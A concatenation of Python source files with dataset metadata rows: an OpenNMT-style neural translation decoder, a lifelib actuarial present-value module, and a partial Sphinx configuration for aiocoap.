keep_topk=self.sample_from_topk)
else:
# TODO: support these blacklisted features
assert not self.dump_beam
decode_strategy = BeamSearch(
self.beam_size,
batch_size=batch.batch_size,
pad=self._tgt_pad_idx,
bos=self._tgt_bos_idx,
eos=self._tgt_eos_idx,
n_best=self.n_best,
global_scorer=self.global_scorer,
min_length=self.min_length, max_length=self.max_length,
return_attention=attn_debug or self.replace_unk,
block_ngram_repeat=self.block_ngram_repeat,
exclusion_tokens=self._exclusion_idxs,
stepwise_penalty=self.stepwise_penalty,
ratio=self.ratio)
#self.model.decoder.set_eval_status(False)
return self._translate_batch_with_strategy(batch, src_vocabs,
decode_strategy)
def _run_encoder(self, batch):
src, src_lengths = batch.src if isinstance(batch.src, tuple) \
else (batch.src, None)
enc_states, memory_bank, src_lengths = self.model.encoder(
src, src_lengths)
if src_lengths is None:
assert not isinstance(memory_bank, tuple), \
'Ensemble decoding only supported for text data'
src_lengths = torch.Tensor(batch.batch_size) \
.type_as(memory_bank) \
.long() \
.fill_(memory_bank.size(0))
return src, enc_states, memory_bank, src_lengths
def _decode_and_generate(
self,
decoder_in,
memory_bank,
batch,
src_vocabs,
memory_lengths,
src_map=None,
step=None,
batch_offset=None):
if self.copy_attn:
# Turn any copied words into UNKs.
decoder_in = decoder_in.masked_fill(
decoder_in.gt(self._tgt_vocab_len - 1), self._tgt_unk_idx
)
# Decoder forward, takes [tgt_len, batch, nfeats] as input
# and [src_len, batch, hidden] as memory_bank
# in case of inference tgt_len = 1, batch = beam times batch_size
# in case of Gold Scoring tgt_len = actual length, batch = 1 batch
self.model.decoder.set_copy_info(batch, self._tgt_vocab)
dec_out, dec_attn = self.model.decoder(
decoder_in, memory_bank, memory_lengths=memory_lengths, step=step
)
# Generator forward.
if not self.copy_attn:
if "std" in dec_attn:
attn = dec_attn["std"]
else:
attn = None
log_probs = self.model.generator(dec_out.squeeze(0))
# returns [(batch_size x beam_size) , vocab ] when 1 step
# or [ tgt_len, batch_size, vocab ] when full sentence
else:
attn = dec_attn["copy"]
#print("DEC_OUT: ", dec_out.size())
#print("ATTN: ", attn.size())
scores = self.model.generator(dec_out.view(-1, dec_out.size(2)),
attn.view(-1, attn.size(2)),
src_map)
# here we have scores [tgt_lenxbatch, vocab] or [beamxbatch, vocab]
if batch_offset is None:
scores = scores.view(-1, batch.batch_size, scores.size(-1))
scores = scores.transpose(0, 1).contiguous()
else:
scores = scores.view(-1, self.beam_size, scores.size(-1))
#print("TGT_VOCAB: ", self._tgt_vocab)
scores = collapse_copy_scores(
scores,
batch,
self._tgt_vocab,
src_vocabs,
batch_dim=0,
batch_offset=batch_offset
)
scores = scores.view(decoder_in.size(0), -1, scores.size(-1))
log_probs = scores.squeeze(0).log()
#print(log_probs.size())
# returns [(batch_size x beam_size) , vocab ] when 1 step
# or [ tgt_len, batch_size, vocab ] when full sentence
return log_probs, attn
def _translate_batch_with_strategy(
self,
batch,
src_vocabs,
decode_strategy):
"""Translate a batch of sentences step by step using cache.
Args:
batch: a batch of sentences, yield by data iterator.
src_vocabs (list): list of torchtext.data.Vocab if can_copy.
decode_strategy (DecodeStrategy): A decode strategy to use for
generate translation step by step.
Returns:
results (dict): The translation results.
"""
# (0) Prep the components of the search.
use_src_map = self.copy_attn
parallel_paths = decode_strategy.parallel_paths # beam_size
batch_size = batch.batch_size
# (1) Run the encoder on the src.
src, enc_states, memory_bank, src_lengths = self._run_encoder(batch)
self.model.decoder.init_state(src, memory_bank, enc_states)
results = {
"predictions": None,
"scores": None,
"attention": None,
"batch": batch,
"gold_score": self._gold_score(
batch, memory_bank, src_lengths, src_vocabs, use_src_map,
enc_states, batch_size, src)}
# (2) prep decode_strategy. Possibly repeat src objects.
src_map = batch.src_map if use_src_map else None
fn_map_state, memory_bank, memory_lengths, src_map = \
decode_strategy.initialize(memory_bank, src_lengths, src_map)
if fn_map_state is not None:
self.model.decoder.map_state(fn_map_state)
# (3) Begin decoding step by step:
for step in range(decode_strategy.max_length):
decoder_input = decode_strategy.current_predictions.view(1, -1, 1)
log_probs, attn = self._decode_and_generate(
decoder_input,
memory_bank,
batch,
src_vocabs,
memory_lengths=memory_lengths,
src_map=src_map,
step=step,
batch_offset=decode_strategy.batch_offset)
decode_strategy.advance(log_probs, attn)
any_finished = decode_strategy.is_finished.any()
if any_finished:
decode_strategy.update_finished()
if decode_strategy.done:
break
select_indices = decode_strategy.select_indices
if any_finished:
# Reorder states.
if isinstance(memory_bank, tuple):
memory_bank = tuple(x.index_select(1, select_indices)
for x in memory_bank)
else:
memory_bank = memory_bank.index_select(1, select_indices)
memory_lengths = memory_lengths.index_select(0, select_indices)
if src_map is not None:
src_map = src_map.index_select(1, select_indices)
if parallel_paths > 1 or any_finished:
self.model.decoder.map_state(
lambda state, dim: state.index_select(dim, select_indices))
results["scores"] = decode_strategy.scores
results["predictions"] = decode_strategy.predictions
results["attention"] = decode_strategy.attention
if self.report_align:
results["alignment"] = self._align_forward(
batch, decode_strategy.predictions)
else:
results["alignment"] = [[] for _ in range(batch_size)]
return results
def _score_target(self, batch, memory_bank, src_lengths,
src_vocabs, src_map):
tgt = batch.tgt
tgt_in = tgt[:-1]
log_probs, attn = self._decode_and_generate(
tgt_in, memory_bank, batch, src_vocabs,
memory_lengths=src_lengths, src_map=src_map)
log_probs[:, :, self._tgt_pad_idx] = 0
gold = tgt[1:]
gold_scores = log_probs.gather(2, gold)
gold_scores = gold_scores.sum(dim=0).view(-1)
return gold_scores
def _report_score(self, name, score_total, words_total):
if words_total == 0:
msg = "%s No words predicted" % (name,)
else:
avg_score = score_total / words_total
ppl = np.exp(-score_total.item() / words_total)
msg = ("%s AVG SCORE: %.4f, %s PPL: %.4f" % (
name, avg_score,
name, ppl))
return msg
| 39.164 | 79 | 0.569196 |
from __future__ import print_function
import codecs
import os
import time
import numpy as np
from itertools import count, zip_longest
import torch
import onmt.model_builder
import onmt.inputters as inputters
import onmt.decoders.ensemble
from onmt.translate.beam_search import BeamSearch
from onmt.translate.greedy_search import GreedySearch
from onmt.utils.misc import tile, set_random_seed, report_matrix
from onmt.utils.alignment import extract_alignment, build_align_pharaoh
from onmt.modules.copy_generator import collapse_copy_scores
def build_translator(opt, report_score=True, logger=None, out_file=None):
if out_file is None:
out_file = codecs.open(opt.output, 'w+', 'utf-8')
load_test_model = onmt.decoders.ensemble.load_test_model \
if len(opt.models) > 1 else onmt.model_builder.load_test_model
fields, model, model_opt = load_test_model(opt)
scorer = onmt.translate.GNMTGlobalScorer.from_opt(opt)
translator = Translator.from_opt(
model,
fields,
opt,
model_opt,
global_scorer=scorer,
out_file=out_file,
report_align=opt.report_align,
report_score=report_score,
logger=logger
)
model.decoder.set_eval_status(True)
return translator
def max_tok_len(new, count, sofar):
global max_src_in_batch
if count == 1:
max_src_in_batch = 0
max_src_in_batch = max(max_src_in_batch, len(new.src[0]) + 2)
src_elements = count * max_src_in_batch
return src_elements
class Translator(object):
def __init__(
self,
model,
fields,
src_reader,
tgt_reader,
gpu=-1,
n_best=1,
min_length=0,
max_length=100,
ratio=0.,
beam_size=30,
random_sampling_topk=1,
random_sampling_temp=1,
stepwise_penalty=None,
dump_beam=False,
block_ngram_repeat=0,
ignore_when_blocking=frozenset(),
replace_unk=False,
phrase_table="",
data_type="text",
verbose=False,
report_time=False,
copy_attn=False,
global_scorer=None,
out_file=None,
report_align=False,
report_score=True,
logger=None,
seed=-1):
self.model = model
self.fields = fields
tgt_field = dict(self.fields)["tgt"].base_field
self._tgt_vocab = tgt_field.vocab
self._tgt_eos_idx = self._tgt_vocab.stoi[tgt_field.eos_token]
self._tgt_pad_idx = self._tgt_vocab.stoi[tgt_field.pad_token]
self._tgt_bos_idx = self._tgt_vocab.stoi[tgt_field.init_token]
self._tgt_unk_idx = self._tgt_vocab.stoi[tgt_field.unk_token]
self._tgt_vocab_len = len(self._tgt_vocab)
self._gpu = gpu
self._use_cuda = gpu > -1
self._dev = torch.device("cuda", self._gpu) \
if self._use_cuda else torch.device("cpu")
self.n_best = n_best
self.max_length = max_length
self.beam_size = beam_size
self.random_sampling_temp = random_sampling_temp
self.sample_from_topk = random_sampling_topk
self.min_length = min_length
self.ratio = ratio
self.stepwise_penalty = stepwise_penalty
self.dump_beam = dump_beam
self.block_ngram_repeat = block_ngram_repeat
self.ignore_when_blocking = ignore_when_blocking
self._exclusion_idxs = {
self._tgt_vocab.stoi[t] for t in self.ignore_when_blocking}
self.src_reader = src_reader
self.tgt_reader = tgt_reader
self.replace_unk = replace_unk
if self.replace_unk and not self.model.decoder.attentional:
raise ValueError(
"replace_unk requires an attentional decoder.")
self.phrase_table = phrase_table
self.data_type = data_type
self.verbose = verbose
self.report_time = report_time
self.copy_attn = copy_attn
self.global_scorer = global_scorer
if self.global_scorer.has_cov_pen and \
not self.model.decoder.attentional:
raise ValueError(
"Coverage penalty requires an attentional decoder.")
self.out_file = out_file
self.report_align = report_align
self.report_score = report_score
self.logger = logger
self.use_filter_pred = False
self._filter_pred = None
self.beam_trace = self.dump_beam != ""
self.beam_accum = None
if self.beam_trace:
self.beam_accum = {
"predicted_ids": [],
"beam_parent_ids": [],
"scores": [],
"log_probs": []}
set_random_seed(seed, self._use_cuda)
@classmethod
def from_opt(
cls,
model,
fields,
opt,
model_opt,
global_scorer=None,
out_file=None,
report_align=False,
report_score=True,
logger=None):
src_reader = inputters.str2reader[opt.data_type].from_opt(opt)
tgt_reader = inputters.str2reader["text"].from_opt(opt)
return cls(
model,
fields,
src_reader,
tgt_reader,
gpu=opt.gpu,
n_best=opt.n_best,
min_length=opt.min_length,
max_length=opt.max_length,
ratio=opt.ratio,
beam_size=opt.beam_size,
random_sampling_topk=opt.random_sampling_topk,
random_sampling_temp=opt.random_sampling_temp,
stepwise_penalty=opt.stepwise_penalty,
dump_beam=opt.dump_beam,
block_ngram_repeat=opt.block_ngram_repeat,
ignore_when_blocking=set(opt.ignore_when_blocking),
replace_unk=opt.replace_unk,
phrase_table=opt.phrase_table,
data_type=opt.data_type,
verbose=opt.verbose,
report_time=opt.report_time,
copy_attn=model_opt.copy_attn,
global_scorer=global_scorer,
out_file=out_file,
report_align=report_align,
report_score=report_score,
logger=logger,
seed=opt.seed)
def _log(self, msg):
if self.logger:
self.logger.info(msg)
else:
print(msg)
def _gold_score(self, batch, memory_bank, src_lengths, src_vocabs,
use_src_map, enc_states, batch_size, src):
if "tgt" in batch.__dict__:
gs = self._score_target(
batch, memory_bank, src_lengths, src_vocabs,
batch.src_map if use_src_map else None)
self.model.decoder.init_state(src, memory_bank, enc_states)
else:
gs = [0] * batch_size
return gs
def translate(
self,
src,
tgt=None,
src_dir=None,
batch_size=None,
batch_type="sents",
attn_debug=False,
align_debug=False,
phrase_table=""):
if batch_size is None:
raise ValueError("batch_size must be set")
src_data = {"reader": self.src_reader, "data": src, "dir": src_dir}
tgt_data = {"reader": self.tgt_reader, "data": tgt, "dir": None}
_readers, _data, _dir = inputters.Dataset.config(
[('src', src_data), ('tgt', tgt_data)])
data = inputters.Dataset(
self.fields, readers=_readers, data=_data, dirs=_dir,
sort_key=inputters.str2sortkey[self.data_type],
filter_pred=self._filter_pred
)
data_iter = inputters.OrderedIterator(
dataset=data,
device=self._dev,
batch_size=batch_size,
batch_size_fn=max_tok_len if batch_type == "tokens" else None,
train=False,
sort=False,
sort_within_batch=True,
shuffle=False
)
xlation_builder = onmt.translate.TranslationBuilder(
data, self.fields, self.n_best, self.replace_unk, tgt,
self.phrase_table
)
counter = count(1)
pred_score_total, pred_words_total = 0, 0
gold_score_total, gold_words_total = 0, 0
all_scores = []
all_predictions = []
start_time = time.time()
for batch in data_iter:
batch_data = self.translate_batch(
batch, data.src_vocabs, attn_debug
)
translations = xlation_builder.from_batch(batch_data)
for trans in translations:
all_scores += [trans.pred_scores[:self.n_best]]
pred_score_total += trans.pred_scores[0]
pred_words_total += len(trans.pred_sents[0])
if tgt is not None:
gold_score_total += trans.gold_score
gold_words_total += len(trans.gold_sent) + 1
n_best_preds = [" ".join(pred)
for pred in trans.pred_sents[:self.n_best]]
if self.report_align:
align_pharaohs = [build_align_pharaoh(align) for align
in trans.word_aligns[:self.n_best]]
n_best_preds_align = [" ".join(align) for align
in align_pharaohs]
n_best_preds = [pred + " ||| " + align
for pred, align in zip(
n_best_preds, n_best_preds_align)]
all_predictions += [n_best_preds]
self.out_file.write('\n'.join(n_best_preds) + '\n')
self.out_file.flush()
if self.verbose:
sent_number = next(counter)
output = trans.log(sent_number)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
if attn_debug:
preds = trans.pred_sents[0]
preds.append('</s>')
attns = trans.attns[0].tolist()
if self.data_type == 'text':
srcs = trans.src_raw
else:
srcs = [str(item) for item in range(len(attns[0]))]
output = report_matrix(srcs, preds, attns)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
if align_debug:
if trans.gold_sent is not None:
tgts = trans.gold_sent
else:
tgts = trans.pred_sents[0]
align = trans.word_aligns[0].tolist()
if self.data_type == 'text':
srcs = trans.src_raw
else:
srcs = [str(item) for item in range(len(align[0]))]
output = report_matrix(srcs, tgts, align)
if self.logger:
self.logger.info(output)
else:
os.write(1, output.encode('utf-8'))
end_time = time.time()
if self.report_score:
msg = self._report_score('PRED', pred_score_total,
pred_words_total)
self._log(msg)
if tgt is not None:
msg = self._report_score('GOLD', gold_score_total,
gold_words_total)
self._log(msg)
if self.report_time:
total_time = end_time - start_time
self._log("Total translation time (s): %f" % total_time)
self._log("Average translation time (s): %f" % (
total_time / len(all_predictions)))
self._log("Tokens per second: %f" % (
pred_words_total / total_time))
if self.dump_beam:
import json
json.dump(self.translator.beam_accum,
codecs.open(self.dump_beam, 'w', 'utf-8'))
return all_scores, all_predictions
def _align_pad_prediction(self, predictions, bos, pad):
dtype, device = predictions[0][0].dtype, predictions[0][0].device
flatten_tgt = [best.tolist() for bests in predictions
for best in bests]
paded_tgt = torch.tensor(
list(zip_longest(*flatten_tgt, fillvalue=pad)),
dtype=dtype, device=device).T
bos_tensor = torch.full([paded_tgt.size(0), 1], bos,
dtype=dtype, device=device)
full_tgt = torch.cat((bos_tensor, paded_tgt), dim=-1)
batched_nbest_predict = full_tgt.view(
len(predictions), -1, full_tgt.size(-1))
return batched_nbest_predict
def _align_forward(self, batch, predictions):
if hasattr(batch, 'tgt'):
batch_tgt_idxs = batch.tgt.transpose(1, 2).transpose(0, 2)
else:
batch_tgt_idxs = self._align_pad_prediction(
predictions, bos=self._tgt_bos_idx, pad=self._tgt_pad_idx)
tgt_mask = (batch_tgt_idxs.eq(self._tgt_pad_idx) |
batch_tgt_idxs.eq(self._tgt_eos_idx) |
batch_tgt_idxs.eq(self._tgt_bos_idx))
n_best = batch_tgt_idxs.size(1)
src, enc_states, memory_bank, src_lengths = self._run_encoder(batch)
src = tile(src, n_best, dim=1)
enc_states = tile(enc_states, n_best, dim=1)
if isinstance(memory_bank, tuple):
memory_bank = tuple(tile(x, n_best, dim=1) for x in memory_bank)
else:
memory_bank = tile(memory_bank, n_best, dim=1)
src_lengths = tile(src_lengths, n_best)
self.model.decoder.init_state(src, memory_bank, enc_states)
tgt = batch_tgt_idxs.view(-1, batch_tgt_idxs.size(-1)).T.unsqueeze(-1)
dec_in = tgt[:-1]
_, attns = self.model.decoder(
dec_in, memory_bank, memory_lengths=src_lengths, with_align=True)
alignment_attn = attns["align"]
align_tgt_mask = tgt_mask.view(-1, tgt_mask.size(-1))
prediction_mask = align_tgt_mask[:, 1:]
alignement = extract_alignment(
alignment_attn, prediction_mask, src_lengths, n_best)
return alignement
def translate_batch(self, batch, src_vocabs, attn_debug):
#self.model.decoder.set_eval_status(True)
with torch.no_grad():
if self.beam_size == 1:
decode_strategy = GreedySearch(
pad=self._tgt_pad_idx,
bos=self._tgt_bos_idx,
eos=self._tgt_eos_idx,
batch_size=batch.batch_size,
min_length=self.min_length, max_length=self.max_length,
block_ngram_repeat=self.block_ngram_repeat,
exclusion_tokens=self._exclusion_idxs,
return_attention=attn_debug or self.replace_unk,
sampling_temp=self.random_sampling_temp,
keep_topk=self.sample_from_topk)
else:
# TODO: support these blacklisted features
assert not self.dump_beam
decode_strategy = BeamSearch(
self.beam_size,
batch_size=batch.batch_size,
pad=self._tgt_pad_idx,
bos=self._tgt_bos_idx,
eos=self._tgt_eos_idx,
n_best=self.n_best,
global_scorer=self.global_scorer,
min_length=self.min_length, max_length=self.max_length,
return_attention=attn_debug or self.replace_unk,
block_ngram_repeat=self.block_ngram_repeat,
exclusion_tokens=self._exclusion_idxs,
stepwise_penalty=self.stepwise_penalty,
ratio=self.ratio)
#self.model.decoder.set_eval_status(False)
return self._translate_batch_with_strategy(batch, src_vocabs,
decode_strategy)
def _run_encoder(self, batch):
src, src_lengths = batch.src if isinstance(batch.src, tuple) \
else (batch.src, None)
enc_states, memory_bank, src_lengths = self.model.encoder(
src, src_lengths)
if src_lengths is None:
assert not isinstance(memory_bank, tuple), \
'Ensemble decoding only supported for text data'
src_lengths = torch.Tensor(batch.batch_size) \
.type_as(memory_bank) \
.long() \
.fill_(memory_bank.size(0))
return src, enc_states, memory_bank, src_lengths
def _decode_and_generate(
self,
decoder_in,
memory_bank,
batch,
src_vocabs,
memory_lengths,
src_map=None,
step=None,
batch_offset=None):
if self.copy_attn:
# Turn any copied words into UNKs.
decoder_in = decoder_in.masked_fill(
decoder_in.gt(self._tgt_vocab_len - 1), self._tgt_unk_idx
)
# Decoder forward, takes [tgt_len, batch, nfeats] as input
# and [src_len, batch, hidden] as memory_bank
# in case of inference tgt_len = 1, batch = beam times batch_size
# in case of Gold Scoring tgt_len = actual length, batch = 1 batch
self.model.decoder.set_copy_info(batch, self._tgt_vocab)
dec_out, dec_attn = self.model.decoder(
decoder_in, memory_bank, memory_lengths=memory_lengths, step=step
)
# Generator forward.
if not self.copy_attn:
if "std" in dec_attn:
attn = dec_attn["std"]
else:
attn = None
log_probs = self.model.generator(dec_out.squeeze(0))
# returns [(batch_size x beam_size) , vocab ] when 1 step
# or [ tgt_len, batch_size, vocab ] when full sentence
else:
attn = dec_attn["copy"]
#print("DEC_OUT: ", dec_out.size())
#print("ATTN: ", attn.size())
scores = self.model.generator(dec_out.view(-1, dec_out.size(2)),
attn.view(-1, attn.size(2)),
src_map)
# here we have scores [tgt_lenxbatch, vocab] or [beamxbatch, vocab]
if batch_offset is None:
scores = scores.view(-1, batch.batch_size, scores.size(-1))
scores = scores.transpose(0, 1).contiguous()
else:
scores = scores.view(-1, self.beam_size, scores.size(-1))
#print("TGT_VOCAB: ", self._tgt_vocab)
scores = collapse_copy_scores(
scores,
batch,
self._tgt_vocab,
src_vocabs,
batch_dim=0,
batch_offset=batch_offset
)
scores = scores.view(decoder_in.size(0), -1, scores.size(-1))
log_probs = scores.squeeze(0).log()
#print(log_probs.size())
# returns [(batch_size x beam_size) , vocab ] when 1 step
# or [ tgt_len, batch_size, vocab ] when full sentence
return log_probs, attn
def _translate_batch_with_strategy(
self,
batch,
src_vocabs,
decode_strategy):
# (0) Prep the components of the search.
use_src_map = self.copy_attn
parallel_paths = decode_strategy.parallel_paths # beam_size
batch_size = batch.batch_size
# (1) Run the encoder on the src.
src, enc_states, memory_bank, src_lengths = self._run_encoder(batch)
self.model.decoder.init_state(src, memory_bank, enc_states)
results = {
"predictions": None,
"scores": None,
"attention": None,
"batch": batch,
"gold_score": self._gold_score(
batch, memory_bank, src_lengths, src_vocabs, use_src_map,
enc_states, batch_size, src)}
# (2) prep decode_strategy. Possibly repeat src objects.
src_map = batch.src_map if use_src_map else None
fn_map_state, memory_bank, memory_lengths, src_map = \
decode_strategy.initialize(memory_bank, src_lengths, src_map)
if fn_map_state is not None:
self.model.decoder.map_state(fn_map_state)
# (3) Begin decoding step by step:
for step in range(decode_strategy.max_length):
decoder_input = decode_strategy.current_predictions.view(1, -1, 1)
log_probs, attn = self._decode_and_generate(
decoder_input,
memory_bank,
batch,
src_vocabs,
memory_lengths=memory_lengths,
src_map=src_map,
step=step,
batch_offset=decode_strategy.batch_offset)
decode_strategy.advance(log_probs, attn)
any_finished = decode_strategy.is_finished.any()
if any_finished:
decode_strategy.update_finished()
if decode_strategy.done:
break
select_indices = decode_strategy.select_indices
if any_finished:
# Reorder states.
if isinstance(memory_bank, tuple):
memory_bank = tuple(x.index_select(1, select_indices)
for x in memory_bank)
else:
memory_bank = memory_bank.index_select(1, select_indices)
memory_lengths = memory_lengths.index_select(0, select_indices)
if src_map is not None:
src_map = src_map.index_select(1, select_indices)
if parallel_paths > 1 or any_finished:
self.model.decoder.map_state(
lambda state, dim: state.index_select(dim, select_indices))
results["scores"] = decode_strategy.scores
results["predictions"] = decode_strategy.predictions
results["attention"] = decode_strategy.attention
if self.report_align:
results["alignment"] = self._align_forward(
batch, decode_strategy.predictions)
else:
results["alignment"] = [[] for _ in range(batch_size)]
return results
def _score_target(self, batch, memory_bank, src_lengths,
src_vocabs, src_map):
tgt = batch.tgt
tgt_in = tgt[:-1]
log_probs, attn = self._decode_and_generate(
tgt_in, memory_bank, batch, src_vocabs,
memory_lengths=src_lengths, src_map=src_map)
log_probs[:, :, self._tgt_pad_idx] = 0
gold = tgt[1:]
gold_scores = log_probs.gather(2, gold)
gold_scores = gold_scores.sum(dim=0).view(-1)
return gold_scores
def _report_score(self, name, score_total, words_total):
if words_total == 0:
msg = "%s No words predicted" % (name,)
else:
avg_score = score_total / words_total
ppl = np.exp(-score_total.item() / words_total)
msg = ("%s AVG SCORE: %.4f, %s PPL: %.4f" % (
name, avg_score,
name, ppl))
return msg
| true | true |
f7f35045e2629436b2dd2258f946a96c4a88d0c8 | 3,278 | py | Python | lifelib/projects/simplelife/model/PV/__init__.py | fumitoh/lifelib | 01b6fec4453b309808c1c7ca6867c7dce50668dc | [
"MIT"
] | 77 | 2018-03-02T05:21:43.000Z | 2022-03-26T20:29:59.000Z | lifelib/projects/simplelife/model/PV/__init__.py | dayeoni-1376/lifelib | e65ba42843e8ae5f00ea795a8bb29ccd6e99ba54 | [
"MIT"
] | 10 | 2018-02-17T03:07:20.000Z | 2021-11-15T13:40:15.000Z | lifelib/projects/simplelife/model/PV/__init__.py | dayeoni-1376/lifelib | e65ba42843e8ae5f00ea795a8bb29ccd6e99ba54 | [
"MIT"
] | 24 | 2018-03-12T20:01:06.000Z | 2022-03-07T06:06:18.000Z | """Present Value mix-in Space
This Space serves as a base Space for :mod:`~simplelife.model.Projection`
Space, and it contains Cells to take the present value of projected cashflows.
.. blockdiag::
blockdiag {
default_node_color="#D5E8D4";
default_linecolor="#628E47";
BaseProj[style=dotted]
BaseProj <- Projection [hstyle=generalization]
PV[style=dotted]
PV <- Projection [hstyle=generalization];
}
"""
from modelx.serialize.jsonvalues import *
_formula = None
_bases = []
_allow_none = None
_spaces = []
# ---------------------------------------------------------------------------
# Cells
def InterestNetCF(t):
"""Interest accreted on pv of net cashflows"""
if t > last_t:
return 0
else:
return (PV_NetCashflow(t)
- PremIncome(t)
+ ExpsTotal(t)) * DiscRate(t)
def PV_BenefitDeath(t):
"""Present value of death benefits"""
if t > last_t:
return 0
else:
return (-BenefitDeath(t) + PV_BenefitDeath(t+1)) / (1 + DiscRate(t))
def PV_BenefitMat(t):
"""Present value of matuirty benefits"""
if t > last_t:
return 0
else:
return (-BenefitMat(t) + PV_BenefitMat(t+1)) / (1 + DiscRate(t))
def PV_BenefitSurr(t):
"""Present value of surrender benefits"""
if t > last_t:
return 0
else:
return (-BenefitSurr(t) + PV_BenefitSurr(t+1)) / (1 + DiscRate(t))
def PV_BenefitTotal(t):
"""Present value of total benefits"""
if t > last_t:
return 0
else:
return (-BenefitTotal(t) + PV_BenefitTotal(t+1)) / (1 + DiscRate(t))
def PV_Check(t):
return PV_NetCashflow(t) - PV_NetCashflowForCheck(t)
def PV_ExpsAcq(t):
"""Present value of acquisition expenses"""
if t > last_t:
return 0
else:
return - ExpsAcq(t) + PV_ExpsAcq(t+1) / (1 + DiscRate(t))
def PV_ExpsCommTotal(t):
"""Present value of commission expenses"""
if t > last_t:
return 0
else:
return - ExpsCommTotal(t) + PV_ExpsCommTotal(t+1) / (1 + DiscRate(t))
def PV_ExpsMaint(t):
"""Present value of maintenance expenses"""
if t > last_t:
return 0
else:
return - ExpsMaint(t) + PV_ExpsMaint(t+1) / (1 + DiscRate(t))
def PV_ExpsTotal(t):
"""Present value of total expenses"""
if t > last_t:
return 0
else:
return - ExpsTotal(t) + PV_ExpsTotal(t+1) / (1 + DiscRate(t))
def PV_NetCashflow(t):
"""Present value of net cashflow"""
return (PV_PremIncome(t)
+ PV_ExpsTotal(t)
+ PV_BenefitTotal(t))
def PV_NetCashflowForCheck(t):
"""Present value of net cashflow"""
if t > last_t:
return 0
else:
return (PremIncome(t)
- ExpsTotal(t)
- BenefitTotal(t) / (1 + DiscRate(t))
+ PV_NetCashflow(t+1) / (1 + DiscRate(t)))
def PV_PremIncome(t):
"""Present value of premium income"""
if t > last_t:
return 0
else:
return PremIncome(t) + PV_PremIncome(t+1) / (1 + DiscRate(t))
def PV_SumInsurIF(t):
"""Present value of insurance in-force"""
if t > last_t:
return 0
else:
return InsurIF_Beg1(t) + PV_SumInsurIF(t+1) / (1 + DiscRate(t))
| 22.763889 | 78 | 0.581452 |
from modelx.serialize.jsonvalues import *
_formula = None
_bases = []
_allow_none = None
_spaces = []
def InterestNetCF(t):
if t > last_t:
return 0
else:
return (PV_NetCashflow(t)
- PremIncome(t)
+ ExpsTotal(t)) * DiscRate(t)
def PV_BenefitDeath(t):
if t > last_t:
return 0
else:
return (-BenefitDeath(t) + PV_BenefitDeath(t+1)) / (1 + DiscRate(t))
def PV_BenefitMat(t):
if t > last_t:
return 0
else:
return (-BenefitMat(t) + PV_BenefitMat(t+1)) / (1 + DiscRate(t))
def PV_BenefitSurr(t):
if t > last_t:
return 0
else:
return (-BenefitSurr(t) + PV_BenefitSurr(t+1)) / (1 + DiscRate(t))
def PV_BenefitTotal(t):
if t > last_t:
return 0
else:
return (-BenefitTotal(t) + PV_BenefitTotal(t+1)) / (1 + DiscRate(t))
def PV_Check(t):
return PV_NetCashflow(t) - PV_NetCashflowForCheck(t)
def PV_ExpsAcq(t):
if t > last_t:
return 0
else:
return - ExpsAcq(t) + PV_ExpsAcq(t+1) / (1 + DiscRate(t))
def PV_ExpsCommTotal(t):
if t > last_t:
return 0
else:
return - ExpsCommTotal(t) + PV_ExpsCommTotal(t+1) / (1 + DiscRate(t))
def PV_ExpsMaint(t):
if t > last_t:
return 0
else:
return - ExpsMaint(t) + PV_ExpsMaint(t+1) / (1 + DiscRate(t))
def PV_ExpsTotal(t):
if t > last_t:
return 0
else:
return - ExpsTotal(t) + PV_ExpsTotal(t+1) / (1 + DiscRate(t))
def PV_NetCashflow(t):
return (PV_PremIncome(t)
+ PV_ExpsTotal(t)
+ PV_BenefitTotal(t))
def PV_NetCashflowForCheck(t):
if t > last_t:
return 0
else:
return (PremIncome(t)
- ExpsTotal(t)
- BenefitTotal(t) / (1 + DiscRate(t))
+ PV_NetCashflow(t+1) / (1 + DiscRate(t)))
def PV_PremIncome(t):
if t > last_t:
return 0
else:
return PremIncome(t) + PV_PremIncome(t+1) / (1 + DiscRate(t))
def PV_SumInsurIF(t):
if t > last_t:
return 0
else:
return InsurIF_Beg1(t) + PV_SumInsurIF(t+1) / (1 + DiscRate(t))
| true | true |
f7f350a63a1af7c0d3304763e538cf00885c0ff1 | 6,076 | py | Python | doc/conf.py | alanc10n/aiocoap | ac5e449ce5c34cc9c9310a8a3188d84167d440e8 | [
"MIT"
] | 5 | 2015-11-13T08:41:10.000Z | 2016-11-25T18:00:01.000Z | doc/conf.py | FvD/aiocoap | 288e5a6a0320a9d9ca6fc04de9ea9307cbb0b374 | [
"MIT"
] | 6 | 2015-12-18T18:59:47.000Z | 2018-02-23T16:41:52.000Z | doc/conf.py | FvD/aiocoap | 288e5a6a0320a9d9ca6fc04de9ea9307cbb0b374 | [
"MIT"
] | 2 | 2015-11-17T01:46:44.000Z | 2019-09-15T12:51:00.000Z | # -*- coding: utf-8 -*-
#
# txThings asyncio branch documentation build configuration file, created by
# sphinx-quickstart on Wed Jun 4 09:40:16 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath('.'))
# maybe required for readthedocs
sys.path.insert(0, os.path.abspath('..'))
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix of source filenames.
source_suffix = '.rst'
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'aiocoap'
copyright = u'2014, Maciej Wasilak, Christian Amsüss'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0.1'
# The full version, including alpha/beta/rc tags.
release = '0.1'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = []
